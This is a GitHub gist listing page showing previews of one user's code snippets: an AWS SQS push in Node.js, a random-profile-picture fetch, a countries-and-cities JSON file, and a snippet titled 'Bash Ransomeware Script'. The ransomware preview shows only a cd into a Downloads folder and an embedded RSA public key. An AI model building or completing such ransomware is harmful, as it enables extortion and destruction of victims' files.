Skip to content

Instantly share code, notes, and snippets.

View uzair004's full-sized avatar
🎯
Focusing

Muhammad Uzair uzair004

🎯
Focusing
View GitHub Profile
@uzair004
uzair004 / pushToQueue.js
Created March 21, 2023 20:21
push to sqs queue using nodejs
const AWS = require("aws-sdk");
// api key etc will be take from .env
AWS.config.update({ region: process.env.AWS_REGION });
const sqs = new AWS.SQS({ apiVersion: "2012-11-05" });
const pushToQueue = (message) => {
return new Promise((resolve, reject) => {
sqs.sendMessage(
@uzair004
uzair004 / randomDp.js
Created March 2, 2023 06:53
Get random user profile pic
const API_URL = "https://randomuser.me/api/";
fetch(API_URL)
.then((response) => response.json())
.then((data) => {
const imageUrl = data.results[0].picture.large;
const name = data.results[0].name.first + " " + data.results[0].name.last;
const img = document.createElement("img");
img.src = imageUrl;
@uzair004
uzair004 / ransomewareScript.sh
Last active June 13, 2022 14:23
Bash Ransomeware Script
cd /Users/<YourPCUserGoesHere>/Downloads
echo "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArtg7hyD6v1o/THawDHld
PXoJ94bWqNmJ2c1C0VCE12XvjW4DhqVovsCwUsK+ESs9EV+XQ4iSoitg8XVohJUO
IA7VxvtzkcnJNZZBhm/jGrI3HS90OVINg/L+TckjtN5pMo/76D9TCxPfdAPXcT9f
p9BlGRBQnWEKPVFY+ZMp48yH2rhWpPjgst/Enj9cDPZ8RX1CRyzYzpREpkJSjbpM
wHKsQTeyauBouU3b1UZHhWirp+iS/aUwUJwOAild2rxho0Njx19Kwib/yvhLH6La
6RhZwVkNYzeUEHm92edORAjmb/uNAeI5wzYRF73OaNseBY1rL7K8mdcoSGcCalLK
YwIDAQAB
@uzair004
uzair004 / countries-list-with-cities.json
Created May 27, 2022 10:54
gist contains countries list with all their cities included, use case can be populating cities based on country selected.
This file has been truncated, but you can view the full file.
[
{
"country": "AF",
"cities": [
"Andkhoy",
"Asadabad",
"Ashkāsham",
"Aībak",
"Baghlān",
"Balkh",